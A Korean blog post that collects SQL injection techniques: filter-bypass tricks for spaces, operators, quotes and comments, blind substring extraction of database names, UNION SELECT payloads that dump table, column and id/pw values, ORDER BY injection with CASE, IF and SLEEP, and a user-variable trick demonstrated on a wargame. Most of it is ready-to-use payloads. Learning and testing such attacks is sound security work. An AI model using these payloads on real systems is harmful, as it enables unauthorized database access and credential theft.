web_security/web info

[WebHacking] SQLI(SQL Injection) 필터링 우회 및 기법 총 정리

HawordFREAKEK 2022. 6. 3. 22:12

네 안녕하세요. Godhaword 입니다.

저번에 SQLI 관련 글을 쓰면서 큰 기초 뼈대 위주로 설명을 드렸습니다.

https://godhaword.tistory.com/472

 

[WebHacking] SQLI(SQL Injection) 이란?(New)

네 안녕하세요. Godhaword 입니다. 원래 1주일에 하나 정도 쓸까 생각했는데 XSS 이야기 하면서 SQL Injection 이야기를 너무 비중있게 다뤘더라구요. 예전에 글을 썼던 2019년의 제가 생각하던 웹 해킹(We

godhaword.tistory.com

아직 안보신 분은 일단 보고 오시는 것 추천드립니다.

뼈대가 되는 글은 썼으니 자세한 우회 방법도 한 번 정리해보려합니다.
SQL Injection 원리나 기초도 모르고 우회부터 본다 한들 실력이 그렇게 크게 상승하진 않으니 위에 글 읽고 오시는 것 추천드립니다.

글은 수시로 업데이트 될 예정입니다.

더보기를 눌러가며 읽어주세요


필터링 우회

  1. 스페이스바(공백,%20)
    개행 계열 : \n, \t, \r
    (ex : '\nor\n1=1--)
    주석 계열 : /* */
    (ex : '/**/or/**/1=1--)
    기호 계열 : (),+
    (ex : num=1+or(id=admin))  or 이나 and 같은 연산자 앞뒤는 띄어주어야 합니다.
    특수 기호 계열 : %0b, %0c
    (ex : '%0cor%0c1=1--)
    이런식으로 특수기호가 나오는데 Database에서는 읽지 못하여 ff, null 값으로 받습니다.

  2. 논리 연산자 우회
    or 연산자 : ||
    and 연산자 : &&
    = 연산자 : like, in, instr, <>, not ,!= 
    더보기
     연산자는 추가적으로 설명을 드려야 할 것 같아 접은글로 정리합니다.
    1) like
     : 그냥 =처럼 쓰면 됩니다. ' or 1 like 1 --
    2) in 
     : = 대신 써주고 뒤에 ()를 붙혀줍니다. ' or id=("admin")--
    3) instr
     : 자주 쓰지는 않습니다. instr(id, "admin") 형태로 사용합니다.
    4) <, >
     : 전 글에서 정리한 것과 같이 정확한 비교보단 대소비교를 통하여 얼추 범위를 줄여나가는데 사용합니다
      - ' or substr(pw,1,1) > chr(73) #
    5) != , not
     : =과는 반대로만 생각하면 되기에 참, 거짓 값을 거꾸로 적용해주자
     - ' id != 'admin'--
  3. 함수 우회
    str_replace("A","B",C)  : A문장에 있는 B문자를 C문자 바꾸어주는 함수이며, str_replace, str_ireplace 등이 있습니다.(php 기준)
    - str_ireplace("admin","",$_GET[id]) 기준 : ?id=adadminmin-- ※ 기법우회

    substr(A,B,C) : A문장의 B번째부터 C개 만큼의 단어를 찾아주는 함수이다.
    - substring(A,B,C)
    - mid(A,B,C) ※ 함수 우회

    ascii(A) : A번째 ASCII 값을 보여준다.
     - ord(A) : 문자 A를 ascii 값으로 보여준다
     - hex(A) : 문자 A 를 hex 값으로 보여준다

  4. 구분자 우회
    ' , " 이 두개는 번갈아가면서 써보자.
    \(백슬래시 : 이하 생략) : 자세한 설명
    더보기
    id = '$id' and pw = '$pw' 꼴로 로그인 쿼리가 있고, 구분자 필터링이 있다고 가정할 시,
    id 에 \ , pw에 or 1=1#을 입력한다 가정하자.
    일단 알아야하는 상식이 특정한 상황에서 \' 와 같은 문자는 쿼터가 구분자가 아닌 문자로 사용된다.
    이는 개발단계에서 피치 못하게 '나 % 같은 문자를 사용해야 하는데 자기 자신이 필터링이나 구분자에서 자유로워지기 위해 생긴 기능이다.
    위 상식을 알아둔 다음 다시 돌아와서 입력한 쿼리를 로그인 쿼리에 대입하면 
    id = '\' and pw = ' or 1=1--' 꼴이 되고, 이를 쿼리문과 문자열로 나눠본다면
    id = '\' and pw = ' or 1=1--'
    위 처럼 id 값에 \' and pw = 이라는 값이 들어가게 되고 뒤에 ' or 1=1--'은 자연스럽게 문자열이 아닌 쿼리로 인식된다.
  5. 주석 처리 종류
     -- , #(%23) , /* */ , ;%00
    (딱히 정해진 패턴이 없어서 한 번씩은 다 써봐야한다. #과 같은 경우 url에 직접 입력하면 request send 가 안되기에 url 인코딩 값으로 넘겨주자)

 

 

 

SQL Injection 기법

 

기법을 막 설명드리면 이해도 어렵고 설명도 어려울 것 같아 하나의 시나리오 대로 흘러가겠습니다.

쿼리문은 전체적으로

SELECT ID, PW FROM User_TB WHERE ID = "{$GET_[id]}" and PW = "{$GET_[pw]}";

 

해석) User_TB 이라는 TABLE에 있는 ID, PW 값을 가져와 사용자가 입력한 $GET_[id], $GET_[pw] 값과 비교하여 둘 다 참일 시, 참 값을 보낸다.

위와 같은 꼴을 따른다고 하자.(상황에 따라 조금씩 추가될 예정)
DB명은 User_DB, 주석은 -- 로 통일하며, 페이지에 통제가 가능한 값을 띄우기 위하여 test라는 값을 입력한다고 가정하자.

 

1. 파라미터에 쿼리문을 하나씩 날려보다가 SQLI가 될만한 검색창을 찾는다.

더보기

test' or 1=1--

 

2. DB종류와 이름를 확인해보자

더보기

MYSQL : user(), version(), database() 등을 확인, (Maria DB 또한 동일)
 - information_schema.tables, information_schema.columns 
MSSQL : user, @@version, db_name() 등을 확인
- information_schema.tables, information_schema.columns 
ORACLE : user, v$version, v$database 등을 확인

 - all_tables


MYSQL 기준으로 설명
 1) test' or length(select database() from dual) > 1 --
 - 일단 database() 이라는 값이 있는지 없는지부터 확인. 위 과정을 통하여 database()의 문자열의 길이를 구한다.
 2) test' or substr(database(),1,1)='a' -- 
 - 한번에 다 따올 순 없지만 substr 기능을 이용하여 단어 하나씩 하나씩 구해서 7자 모두 구해줍니다.
3) test' or database()='User_DB'--
 - 만약 1, 2 번을 통하여 DB명을 구했다면 3 번과 같이 입력해봅시다. 구한 값을 대입한 값과 ' or 1=1-- 값이 같다면 잘 찾으신 것 입니다.

 

2-2 ) 아니 DB명만 알아서 어디다가 쓸껀데?

더보기

심화단계 입니다.
사실 2-2 번을 안하더라도, SQLI가 먹힌다는 것을 입증했으니 개발자가 고치면 됩니다. 하지만 한 단계 나아가서 공격을 하고 싶다면, group_concat() 이라는 함수를 사용해봅시다.
group_concat()은 여러줄에 나올 값을 하나로 뭉쳐줍니다.
이 점을 union select 를  못쓰는 지금 상황에서 써봅시다.

1. ' or substr(group_concat(select table_name from information_schema.tables), 1, 1) = 'a' --
와 같은 꼴로 입력해줍시다.
만약 테이블이 board, User_TB, event 이렇게 있다면
"board, User_TB, event"
꼴로 나올 것 입니다.

2. 테이블 명을 알았으면 이젠 칼럼명을 뽑아줍시다.
 - ' or substr(group_concat(select column_name from information_schema.columns where table_name="User_TB"), 1, 1) = 'a' --
하.. 원래 저도 2-2 단계는 걍 안하고 2 단계만 해서 SQLI 터진다고 알려주는 편입니다. 왜냐하면 쿼리문이 너무 길어져서 길이 때문에 쿼리 에러가 뜰 수도 있고, 브루트포싱으로 대충 ascii 값 30~120 번 까지 찾는다고 쳐도 한 단어 당 90회가 돕니다.
그리고 저는 예제로 테이블이랑 칼럼 갯수 적게 말하겠지만 실 사용중인 Database는 긴 단어로 되어있는 기본 DB + 사용자가 추가한 DB 까지 있어서 테이블, 칼럼, 값 다 찾는데 수고도 수고지만 시간이 엄청 걸립니다. 그 시간에 다른 취약점 하나라도 더 찾는게 이득이라고 봅니다.(악성 해커 입장은 좀 다를 것 같네요)
신세한탄은 좀 접어두고 다시 설명으로 돌아오자면, 2. 번과 같은 쿼리문을 날리면 다시
"id, pw, name, email, phone, gen, grade"
와 같은 값을 가져올 수 있습니다.

3. 테이블 명과 칼럼명을 안다면?
 - ' or substr(group_concat(select group_concat(id, pw) from User_TB), 1, 1) = 'a' --
위와 같이 입력하셔서 User_TB에 있는 값을 따올 수 있습니다.
다시 한 번 말씀드리지만 2-2번은 너무나 많은 시간을 사용하게 됩니다. pw 값만 하더라도 1q2w3e4r5t 이런 값을 그냥 문장으로 저장하는게 아니라 몇 차례 암호화를 시키기 때문에 Database에는 10자, 20자, 30자 더 길어지게 됩니다. user가 한 두명도 아닐테고, 그거 다 꺼내보려면... 후... 특별한 상황이 아니면 2-2 번은 별로 추천드리지 않습니다.

 

3. 더 둘러보다 보니 Table View의 게시판이 있다.

더보기

SQL Injection의 꽃 Union select가 되나보자.

1. ' order by n--
 - order by 는 정렬해주는 명령어 입니다. 칼럼 갯수만큼 n이 들어갈 수 있으며, 칼럼 갯수를 초과하는 값이 들어가게 된다면 error page가 나오게 됩니다. 이 방법으로 칼럼 갯수를 알고 들어간다면 그 앞에 진도가 더 나아가기 쉽습니다. (칼럼 갯수는 7개라고 가정)

2. test' union select 1,2,3,4,5,6,7 --
 - 칼럼 갯수만큼 자리를 채워줍시다. null 값으로 채우는 것도 가능. 정상적으로 작동한다면 저 숫자들이 위치하는 곳에 숫자가 하나 둘 들어가 어느위치에 원하는 값을 넣으면 되는지 감 잡기 편해집니다. 맨 앞에는 통제 가능한 입력값을 넣어주어 좀 더 입력 값이 어디에 들어가나 확인하기 쉽게 해줍시다.

3. test' union select 1,2,3,table_name,5,6,7 from information_schema.tables--
 - 테이블 명을 쫙 뽑아줍시다. 저게 뭐 뜻하는 지는 따로 검색해서 찾아보시는게 좋습니다. 귀찮아서가 아니라 tables 말고도 event, help 같은 여러가지 쓸만한 명령어가 많기에 찾으시면 북마크 해두시는거 추천드립니다. MYSQL all tables 라고 검색하면 많이 나옵니다. 위 과정을 통하여 User_TB 라는 테이블 명을 구합니다.

4. test' union select 1,2,3,columns_name,5,6,7 from information_schema.columns--
- 칼럼명도 쫙 뽑아줍니다. 위 과정을 통하여 id, pw 라는 칼럼명을 구합니다.

5. test' union select 1,2,id,pw,5,6,7 from User_TB--
 - 테이블 명과 칼럼명을 안다면?
예 조회 해줍시다. 위 과정에서 group_concat을 써도 되나... 간지가 안나서;;

2-2 번 과정보단 훨씬 수월하게 진행할 수 있습니다.

일반적인 table_name ( 값이 각각 다 떨어져서 나온다)
group_concat(table_name) (한 곳에 모든 table_name 이 붙어서 나온다)
table_name
group_concat(table_name)

 

 

4. 프록시 툴로 패킷을 잡아보니 order by 절을 건들일 수 있을 것 같다.

더보기

대체 왜 그러셨어요... 왜...ಥ_ಥ


order by 뒤에 들어오는 구문은 매우 한정적입니다.
주로 글을 오름차순 내림차순 조정하는 단계에서 위와 같은 포인트가 나오는데요.
order by 뒤를 자유롭게 쓸 수 있다 가정해봅시다.
칼럼은 title, no, content 등이 있다고 합시다.

1. Case when

1. order by title asc
 - 이 단계에선 그냥 기능이기 때문에 주석을 안해도 되는 경우가 많습니다. 이하 설명에서도 생략하겠습니다. 일단 order by 기능이 잘 작동하나 봐줍니다.

2. order by case when 1=1 then title else content end
 - 설명부터 하자면 1=1이 참이라면 title 기준으로 정렬을 하고 거짓일 시 content 기준으로 정렬을 한다. 라는 뜻입니다. 1=1과 1=2 를 비교를 해서 뭔가 다른 점을 찾으셔야 합니다. 찾으셨다면 그 포인트를 분기점으로 비교를 해 나아갑니다.

3. order bt case when database()="User_DB" then title else content end
 - 1,2,3 번에서 하신 것과 같이 길이 구하시고, substr로 한자한자 찾아가시면서 값을 구하시면 됩니다. 한단어 이상이 저 비교구문에 들어가기 위해선 (length(database()))>1 과 같이 사용해주셔야 합니다.

2. Sleep

CTF 보면 Sleep 문제 많던데, 한국인에게는 어림도 없지. 해당 문제 그냥 넘어가 버립니다.

1. order by title asc, (select sleep(5) from dual where 1=1)
과 같이 사용해줍니다. 참일 시 5초의 delay가 걸립니다. 1=1은 있으니까.. 1,2,3 번에서 하셨던 방법 따라하시면 됩니다.

3. If

1. order by title asc, if(1=1,title asc, content asc)
- 여기 까지 읽으셨으면 
 1) 조건문
 2) 참 값
 3) 거짓 값
 4) 분기점
 이 포인트가 보인다면 바로 SQL Injection을 때릴 수 있어야합니다.
 추가적으로 말씀드리자면 if 뒤에
 (id='admin' or 1=1, title asc, title desc) 와 같이 조금 더 복잡하게 쓰셔도 됩니다.

 

3. 추가 꼼수

  1. @localvalue="value"
    LOS나 기타 sql 문제에서 result 값이 user에게 보여지는 상황이라면 이 방법도 써보실 수 있습니다.

' or (select @gh:=pw where id='admin') union select @gh#

이런 식으로 입력하게 된다면, 지역변수 gh에 id가 admin 인 pw 값을 입력하게 됩니다. 그 이후 union select @gh 를 입력하게되면 바로 gh 값을 볼 수 있는데요.
그 gh가 방금 위에 입력한 id가 admin 인 값의 pw 값인 것 을 꼭 알아두셔야 합니다. 문제 예제로 봅시다.

1

본 문제는 Lord Of SQLinjection의 두번째 문제입니다.
해당 문제를 출제자의 의도와 맞게 풀기 위해선 위 처럼 id에 admin을 입력하고 뒤를 주석처리하면 됩니다.

하지만 위에서 언급한 쿼리를 입력하게 된다면 

2

그냥 비밀번호를 깡으로 뜯어낼 수 있습니다.

3

문제가 다른 방식으로 풀리는 것을 보실 수 있습니다.(풀이는 COBOLT 이며 대입은 DARKELF로 진행하였습니다. )
'(쿼터), = (등호) 가 입력하는 구간에 필터링이 되어있지 않아야하며, result. 값을 볼 수 있을 때만 한 번 시도해보도록 합시다.

하지만 위 방법이 실무에 잘 쓰일지 쓰이기 어려운 이유가

  1. Database에 파라미터 값을 알기 힘들다.
    - 위 예제에선 쿼리를 저희가 다 알아서 pw 라는 값을 넣었는데요.

SELECT uSeRNam3, PaSsw@rD FROM USER_TB WHERE uSeRNam3 = '{GET_[id]}' and PaSsw@rD = '{GET_[pw]}'

       이런 식으로 쿼리를 짠다면 get이나 post로 날라가는 파라미터로 칼럼의 명을 유추하기도 불가능하고, 혹시라도 union select 를 통하여 칼럼명을 알아냈다치면, 그냥 그대로 union select 로 uSeRNam3, PaSsw@rD 까지 따는게 훨씬 똑똑한 방법이라 생각합니다. 하지만 한 3~4번? 정도는 때려 맞춰봐도 괜찮아 보이니 한 번씩은 시도해보셔도 좋을 것 같습니다.


 

이 정도만 아셔도 왠만한 SQLI는 약간의 참고와 함께 풀어나가실수 있을 것 같습니다.

글 쓰는 와중 피곤해서 비몽사몽 써가지고 어투가 오락가락하네요. 

그래도 큰 도움 되셨음 좋겠습니다.

혹시 궁금하시거나 모르겠는 부분은 댓글로 말해주세요 ㅎㅎ